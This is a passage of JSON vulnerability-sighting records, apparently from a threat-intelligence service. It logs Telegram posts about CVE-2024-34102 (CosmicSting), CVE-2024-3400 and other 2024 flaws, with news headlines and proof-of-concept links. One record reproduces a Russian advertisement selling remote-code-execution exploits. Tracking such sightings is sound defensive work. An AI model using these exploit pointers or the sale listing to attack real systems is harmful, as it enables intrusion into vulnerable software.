\u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u044e\u00a0\u0438 \u0412\u041d\u0415\u0417\u0410\u041f\u041d\u041e \u0441\u0434\u0435\u043b\u0430\u043b\u0430 \u0434\u0432\u0435 \u0432\u0435\u0449\u0438: \u0445\u043e\u0440\u043e\u0448\u0443\u044e - \u043e\u043d\u0438 \u0434\u0430\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CosmicSting; \u0438 \u043f\u043b\u043e\u0445\u0443\u044e - \u043e\u043d\u0438 \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u043e \u0441\u0443\u0442\u0438, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u0432\u0441\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c \u043a\u043e\u0440\u044f\u0432\u044b\u0439 \u043f\u0430\u0442\u0447 \u043e\u0442 \u0410\u0434\u043e\u0431). Sansec \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0438 \u0441\u0432\u043e\u0439 Emergency Fix, \u043d\u043e \u043e\u043d \u0431\u044b\u043b \u043d\u0430 \u0441\u0442\u043e\u043b\u044c\u043a\u043e Emergency, \u0447\u0442\u043e \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0441\u044f \u044d\u043d\u043a\u043e\u0434\u0438\u043d\u0433\u043e\u043c \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e JSON. \u0418, \u0441\u044e\u0440\u043f\u0440\u0438\u0437-\u0441\u044e\u0440\u043f\u0440\u0438\u0437, \u0447\u0443\u0432\u0430\u043a\u0438 \u0438\u0437 Hypernode\u00a0\u0443\u0436\u0435 27 \u0438\u044e\u043d\u044f \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e \u0443\u0436\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u042d\u0442\u0430 \u0431\u0430\u0433\u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 CVE-2024-2961 \u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u0410 \u044d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0433\u0440\u0443\u0441\u0442\u043d\u043e. \u0422\u0430\u043a\u043e\u0439 \u0440\u0430\u0441\u043a\u043b\u0430\u0434, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u0440\u0430\u0441\u0441\u0442\u0440\u043e\u0438\u043b \u0410\u0434\u043e\u0431 \u0438, \u043e \u0431\u043e\u0433\u0438, \u043e\u043d\u0438 \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447\u00a0\u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \n\n\u0422\u0443\u0442 \u044f \u0438\u0441\u043a\u0440\u043d\u0435\u043d\u043d\u0435 \u043c\u043e\u0433\u0443 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u0438\u0442\u044c \u0421\u0435\u0440\u0435\u0433\u0443 \u0441 \"\u0438\u043c\u0435\u043d\u043d\u043e\u0439\" \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e. \u042d\u0442\u043e \u043a\u043b\u0430\u0441\u0441\u043d\u0430\u044f \u0430\u0447\u0438\u0432\u043a\u0430. \u0410 \u0435\u0449\u0435 \u0443 \u043d\u0435\u0433\u043e \u0445\u043e\u0440\u043e\u0448\u0435\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u0431\u0435\u0437 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438", "creation_timestamp": "2024-07-04T19:47:41.000000Z"}, {"uuid": "f2c70f16-4f71-4a0b-bdaa-fc910e15c637", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/CyperNews/78", "content": "\ud83d\udd3a\u0627\u0644\u062b\u063a\u0631\u0629 CVE-2024-3400 \u062a\u0624\u062b\u0631 \u0639\u0644\u0649 \u0646\u0636\u0627\u0645 \u062a\u0634\u063a\u064a\u0644 PAN-OS \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0629 \u0641\u064a \u0628\u0648\u0627\u0628\u0627\u062a GlobalProtect \u0644\u0634\u0631\u0643\u0629 Palo Alto Networks. \u064a\u0645\u0643\u0646 \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u063a\u064a\u0631 \u0627\u0644\u0645\u0635\u0631\u062d \u0628\u0647 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u0644\u062a\u0646\u0641\u064a\u0630 \u0631\u0645\u0632 \u062a\u0639\u0633\u0641\u064a \u0628\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u062c\u0630\u0631\u064a\u0629 \u0639\u0644\u0649 \u0627\u0644\u0645\u062f\u0627\u0641\u0639. \u0627\u0644\u062b\u063a\u0631\u0629 \u062a\u0624\u062b\u0631 \u0639\u0644\u0649 \u0628\u0639\u0636 \u0625\u0635\u062f\u0627\u0631\u0627\u062a PAN-OS \u0645\u062d\u062f\u062f\u0629\u060c \u0648\u062a\u062a\u0637\u0644\u0628 \u062a\u0643\u0648\u064a\u0646\u0627\u062a \u0645\u0639\u064a\u0646\u0629 \u0644\u0644\u0645\u064a\u0632\u0627\u062a. \u0645\u0646 \u0627\u0644\u0645\u062a\u0648\u0642\u0639 \u0625\u0635\u062f\u0627\u0631 \u0625\u0635\u0644\u0627\u062d\u0627\u062a \u0641\u064a 14 \u0623\u0628\u0631\u064a\u0644 2024.\n\n#CyperNews", "creation_timestamp": "2024-06-10T14:10:49.000000Z"}, {"uuid": "b61b24e2-9015-4b2f-a5fc-7fcfad514ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/Hunt3rkill3rs1/53", "content": "\u041c\u044b \u043f\u0440\u043e\u0434\u0430\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b:\n\n+ Windows LPE (CVE-2024-26169), March 2024\n\n+ Microsoft Outlook RCE (CVE-2024-21413) - private and upgraded version (added suport for unauthenticated SMTP servers)\n\n+ GlobalProtect RCE (CVE-2024-3400)\n\n+ Fortinet FortiOS RCE (CVE-2024-21762)\n\n+ ScreenConnect RCE (CVE-2024-1709)\n\n+ Ivanti Exploit (CVE-2024-21893)\n\n+ Jenkins Exploit (CVE-2024-23897)\n\n+ JetBrains RCE (CVE-2024-27198)", "creation_timestamp": "2024-05-02T02:29:37.000000Z"}, {"uuid": "c01c1945-4ca7-4548-ad4f-79f4cf16db6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "Telegram/JOaFkPNkwLfjNX0z8OGxDVp4kHME6sGW7nkxX49akSUzp7M", "content": "", "creation_timestamp": "2024-05-12T15:24:25.000000Z"}, {"uuid": "381ff797-6cc7-4e10-a78f-3d97cd5e4af4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/LockBitChannels/97572", "content": "PoC PUBLISHEDPOC for CVE-2024-34102. Pre-authentication XML entity injection issue in Magento/Adobe Commerce.\n\nGIT:\nhttps://github.com/bigb0x/CVE-2024-34102", "creation_timestamp": "2024-09-03T20:11:28.000000Z"}, {"uuid": "ad235fab-d219-49d6-923e-7638edcb9d49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/LockBitChannels/98299", "content": "PoC PUBLISHEDPOC for CVE-2024-34102. Pre-authentication XML entity injection issue in Magento/Adobe Commerce.\n\nGIT:\nhttps://github.com/bigb0x/CVE-2024-34102", "creation_timestamp": "2024-09-04T15:58:19.000000Z"}, {"uuid": "f0f9cee7-1260-4675-914c-30488b102c45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/rHhILOfh0DV2bQ6VnjEzYThbbbKKTLwIgW-oKlsxWIqTng", "content": "", "creation_timestamp": "2024-04-13T10:55:50.000000Z"}, {"uuid": "a4b56e4a-e55f-4e94-afe8-8a3e7c4dc1dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34693", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/7776", "content": "\u200aCVE-2024-34693: Apache Superset Arbitrary File Read Vulnerability, PoC Published\n\nhttps://securityonline.info/cve-2024-34693-apache-superset-arbitrary-file-read-vulnerability-poc-published/", "creation_timestamp": "2024-07-29T11:25:42.000000Z"}, {"uuid": "768dfc5a-a011-4f73-aa46-656f76ffa9c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://t.me/HackingInsights/6178", "content": "\u200aCritical Magento Flaw Exploited: CosmicSting (CVE-2024-34102) Strikes Global Brands\n\nhttps://securityonline.info/critical-magento-flaw-exploited-cosmicsting-cve-2024-34102-strikes-global-brands/", "creation_timestamp": "2024-07-16T13:12:03.000000Z"}, {"uuid": "ffc90787-ef10-408e-8ac7-14f9180e9aac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "https://t.me/HackingInsights/725", "content": "\u200aCVE-2024-34359: Critical Vulnerability in AI Integration Package Threatens Data Security\n\nhttps://securityonline.info/cve-2024-34359-critical-vulnerability-in-ai-integration-package-threatens-data-security/", "creation_timestamp": "2024-05-21T15:29:59.000000Z"}, {"uuid": "809da205-07c3-45c3-a125-f05dbcff69c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/3235", "content": "\u200aCosmicSting (CVE-2024-34102): A Critical E-Commerce Vulnerability Threatening Millions of Online Stores\n\nhttps://securityonline.info/cosmicsting-cve-2024-34102-a-critical-e-commerce-vulnerability-threatening-millions-of-online-stores/", "creation_timestamp": "2024-06-21T14:20:32.000000Z"}, {"uuid": "7f6d86cd-2999-42aa-a31b-507ee95c365f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34070", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/542", "content": "\u200aFroxlor Web Hosting Control Panel Vulnerable to Remote Compromise (CVE-2024-34070)\n\nhttps://securityonline.info/froxlor-web-hosting-control-panel-vulnerable-to-remote-compromise-cve-2024-34070/", "creation_timestamp": "2024-05-16T13:18:50.000000Z"}, {"uuid": "c75f9f8f-157c-49c8-93e7-8524f9dc1f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34359", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/582", "content": "\u200aLlama Drama: Critical Vulnerability CVE-2024-34359 Threatening Your Software Supply Chain\n\nhttps://malware.news/t/llama-drama-critical-vulnerability-cve-2024-34359-threatening-your-software-supply-chain/82030", "creation_timestamp": "2024-05-17T08:03:06.000000Z"}, {"uuid": "888b9124-e060-4253-a08d-6928e9d9ff61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34350", "type": "seen", "source": "https://t.me/HackingInsights/286", "content": "\u200aCVE-2024-34350 & CVE-2024-34351: Two Vulnerabilities Patched in Popular Next.js Framework\n\nhttps://securityonline.info/cve-2024-34350-cve-2024-34351-two-vulnerabilities-patched-in-popular-next-js-framework/", "creation_timestamp": "2024-05-11T10:13:49.000000Z"}, {"uuid": "b974ba12-d469-409d-afbc-9e4f9231d922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34082", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/678", "content": "\u200aCVE-2024-34082: Grav CMS Vulnerability Opens Door to Account Takeovers\n\nhttps://securityonline.info/cve-2024-34082-grav-cms-vulnerability-opens-door-to-account-takeovers/", "creation_timestamp": "2024-05-20T15:08:37.000000Z"}, {"uuid": "14430182-e85c-4616-9297-eb57fa0ce043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34716", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/602", "content": "\u200aCVE-2024-34716: Critical Security Vulnerability Uncovered in PrestaShop\n\nhttps://securityonline.info/cve-2024-34716-critical-security-vulnerability-uncovered-in-prestashop/", "creation_timestamp": "2024-05-17T12:30:24.000000Z"}, {"uuid": "896c600f-aee9-487a-a32e-808596a64a71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34346", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/234", "content": "\u200aCVE-2024-34346: Deno Vulnerability Allows Privilege Elevation\n\nhttps://securityonline.info/cve-2024-34346-deno-vulnerability-allows-privilege-elevation/", "creation_timestamp": "2024-05-09T15:03:39.000000Z"}, {"uuid": "4d8f6dd6-7044-4df8-a48d-8f3b10f333fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/1636", "content": "\u200aCVE-2024-34331: Parallels Desktop Vulnerability Gives Root to Hackers, PoC Published\n\nhttps://securityonline.info/cve-2024-34331-parallels-desktop-vulnerability-gives-root-to-hackers-poc-published/", "creation_timestamp": "2024-06-05T11:43:02.000000Z"}, {"uuid": "92d10bc8-bd29-4371-b42e-3b2676b69b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34351", "type": "seen", "source": "https://t.me/HackingInsights/286", "content": "\u200aCVE-2024-34350 & CVE-2024-34351: Two Vulnerabilities Patched in Popular Next.js Framework\n\nhttps://securityonline.info/cve-2024-34350-cve-2024-34351-two-vulnerabilities-patched-in-popular-next-js-framework/", "creation_timestamp": "2024-05-11T10:13:49.000000Z"}, {"uuid": "0a42d558-31ff-4046-a18c-e746819bedda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34342", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/173", "content": "\u200aCVE-2024-4367 & CVE-2024-34342: JavaScript Flaws Threaten Millions of PDF.js and React-PDF Users\n\nhttps://securityonline.info/cve-2024-4367-cve-2024-34342-javascript-flaw-threatens-millions-of-pdf-js-and-react-pdf-users/", "creation_timestamp": "2024-05-08T11:25:59.000000Z"}, {"uuid": "00d99c66-a521-4a81-8517-578cfe30acdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34456", "type": "seen", "source": "https://t.me/HackingInsights/122", "content": "\u200aCVE-2024-34456: Trend Micro Patches Code Injection Vulnerability in Antivirus One\n\nhttps://securityonline.info/cve-2024-34456-trend-micro-patches-code-injection-vulnerability-in-antivirus-one/", "creation_timestamp": "2024-05-07T12:31:14.000000Z"}, {"uuid": "4f2f47db-a9ca-45a6-b9d0-2a0de427603e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3413", "type": "seen", "source": "Telegram/xb5J77w_5w2i-46xOnb-HMV0flDhUR0kcvUlG_vQ3HTsf-Y0", "content": "", "creation_timestamp": "2025-02-14T10:01:37.000000Z"}, {"uuid": "5cdb4122-83e9-440a-bff5-81bdfe3907b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34521", "type": "seen", "source": "Telegram/TP0QLZFXqmnqT5zkQgh5i4b7Ef0o0lGQwUdUJJ0LqSpZebrf", "content": "", "creation_timestamp": "2025-02-14T10:06:07.000000Z"}, {"uuid": "a85612b7-8faa-49a9-bfa1-d66599ae96a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34520", "type": "seen", "source": "Telegram/rSobngvTZboge0wB1ZSeJ_EfVGwA2nBaBJfS5VyZNe5B48Rj", "content": "", "creation_timestamp": "2025-02-14T10:06:07.000000Z"}, {"uuid": "211de10b-01f9-4adb-ad50-f6e01d34f2eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3415", "type": "seen", "source": "Telegram/-GKO73mFPjK58LoGxz4PLhhRQzxNiiYSfY9LaztXGM2R804b", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "b01187bc-aa98-4a03-b830-ad0b7f6559f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/Fs02ZGushbLVyZ8by1UjMazhLjzbCr7XKpsIdTFmFNeqgm51", "content": "", "creation_timestamp": "2024-06-25T23:45:30.000000Z"}, {"uuid": "29abd806-5aed-4cc5-8373-db9835b0797f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/g70z2OuW-yhF5TY3RerGs48uhgip9M-CBnzt1bQi3sOszyXG", "content": "", "creation_timestamp": "2024-07-23T18:30:59.000000Z"}, {"uuid": "c3d19074-e5e8-46a5-8ffb-34f023d73824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/uowCYZvXY-y3Nn8afA5axlYI7-4JTGSdpVQN4kOHeESeGMFz", "content": "", "creation_timestamp": "2025-01-18T21:51:25.000000Z"}, {"uuid": "98bc1270-9c02-4167-9f91-c79973dd2a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/snl5FqqADmgXAs5c05vVy-NgzeYwNmslV-ygfqE2oMbwd6TA", "content": "", "creation_timestamp": "2025-01-07T04:56:10.000000Z"}, {"uuid": "a65c4ad2-403b-42cd-a039-82ac99fc4b59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/rC2nj9j-WuLUAq6_z8Z0Y0U-HA5W5lKPt58F9aQUPvxZOcFq", "content": "", "creation_timestamp": "2025-01-13T00:37:35.000000Z"}, {"uuid": "4a2ff271-7f0f-4881-b4fc-3f08e83c4d24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/yiCODHQlFjxfYkj79wOjjwANVY-mMr2kt7X6aAV4K49AIEku", "content": "", "creation_timestamp": "2024-12-20T09:14:05.000000Z"}, {"uuid": "f9b8a3c0-4e0f-48bf-a707-32ecaa854206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/DfmU93LE3AozuWJMqcrC-rPqX1XZ0E4j79xp5Ff81u1b_6k", "content": "", "creation_timestamp": "2024-07-10T04:52:22.000000Z"}, {"uuid": "94ed94ed-3ee7-413e-b904-e2fb737c9340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/WqjhbM72U4ocbMTfepAnwsydt2c0ofycAvLoPo6MfZu6J-E", "content": "", "creation_timestamp": "2024-09-03T20:09:14.000000Z"}, {"uuid": "88c1386a-a3ef-4270-9cd2-a3ffca65b4a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/En5bWlCeSQigL_4iwQdRs6kqLH8TRpO_VuIDNnsYMXtpCqU", "content": "", "creation_timestamp": "2024-09-04T15:58:49.000000Z"}, {"uuid": "cebef553-26e0-470e-a34e-c838b827bebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/aCSD0HLEv39Ulk_hujW0lLPp9c1Oi-Eg-MiHwW67wkGt3eE", "content": "", "creation_timestamp": "2024-07-08T12:32:34.000000Z"}, {"uuid": "6e23afe2-59c9-4fb2-a577-32871da4270d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/22529", "content": "The Hacker News\nAlert: Adobe Commerce and Magento Stores Under Attack from CosmicSting Exploit\n\nCybersecurity researchers have disclosed that 5% of all Adobe Commerce and Magento stores have been hacked by malicious actors by exploiting a security vulnerability dubbed CosmicSting.\nTracked as CVE-2024-34102 (CVSS score: 9.8), the critical flaw relates to an improper restriction of XML external entity reference (XXE) vulnerability that could result in remote code execution. The shortcoming,", "creation_timestamp": "2024-10-02T17:43:02.000000Z"}, {"uuid": "b0698134-d72c-4829-a772-39998532302b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/0S0LSUkLMN0lw7bP5ROpZW7w2UICDe17ksBOo5rOUETNVZo", "content": "", "creation_timestamp": "2024-09-03T20:09:17.000000Z"}, {"uuid": "c6a204a2-5f82-40b5-ab03-e0d2f2dec942", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/5993", "content": "The Hacker News\nPalo Alto Networks Discloses More Details on Critical PAN-OS Flaw Under Attack\n\nPalo Alto Networks has shared more details of a critical security flaw impacting PAN-OS that has come under active exploitation in the wild by malicious actors.\nThe company described the vulnerability, tracked as CVE-2024-3400 (CVSS score: 10.0), as \"intricate\" and a combination of two bugs in versions PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 of the software.\n\"In", "creation_timestamp": "2024-04-20T11:36:25.000000Z"}, {"uuid": "f3e55db2-1932-43e3-afbb-48b8885acf23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/8206", "content": "The Hacker News\nResearchers Uncover Flaws in Python Package for AI Models and PDF.js Used by Firefox\n\nA critical security flaw has been disclosed in the llama_cpp_python Python package that could be exploited by threat actors to achieve arbitrary code execution.\nTracked as CVE-2024-34359 (CVSS score: 9.7), the flaw has been codenamed Llama Drama by software supply chain security firm Checkmarx.\n\"If exploited, it could allow attackers to execute arbitrary code on your system,", "creation_timestamp": "2024-05-21T15:53:31.000000Z"}, {"uuid": "f9db011a-28a7-4f04-a726-981f5cc23608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/xqLwgw03U8uffaVC5ClQ0871RCc6EYmXqH0HyHWBVESNCw", "content": "", "creation_timestamp": "2024-04-15T20:57:53.000000Z"}, {"uuid": "07216b91-eed3-4945-9272-7dad46645c6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "Telegram/E3iST3lZwZOutaoSgFfuoZ6eFjpwUIDeSKbyxLV2xONR5Q", "content": "", "creation_timestamp": "2024-05-02T02:23:05.000000Z"}, {"uuid": "d03fb7e5-2212-4127-b44e-af6334c1fb86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/6370", "content": "The Hacker News\nPalo Alto Networks Outlines Remediation for Critical PAN-OS Flaw Under Attack\n\nPalo Alto Networks has shared remediation guidance for a recently disclosed critical security flaw impacting PAN-OS that has come under active exploitation.\nThe vulnerability, tracked as CVE-2024-3400 (CVSS score: 10.0), could be weaponized to obtain unauthenticated remote shell command execution on susceptible devices. It has been addressed in", "creation_timestamp": "2024-04-26T15:42:01.000000Z"}, {"uuid": "dc5cdb52-42a0-4726-a3b8-0f0a44fd7813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/5661", "content": "The Hacker News\nPalo Alto Networks Releases Urgent Fixes for Exploited PAN-OS Vulnerability\n\nPalo Alto Networks has released hotfixes to address a maximum-severity security flaw impacting PAN-OS software that has come under active exploitation in the wild.\nTracked as CVE-2024-3400 (CVSS score: 10.0), the critical vulnerability is a case of command injection in the GlobalProtect feature that an unauthenticated attacker could weaponize to execute arbitrary code with root", "creation_timestamp": "2024-04-15T11:33:05.000000Z"}, {"uuid": "5c8caa91-f28d-48e5-8f4c-8f084b460f71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/5510", "content": "The Hacker 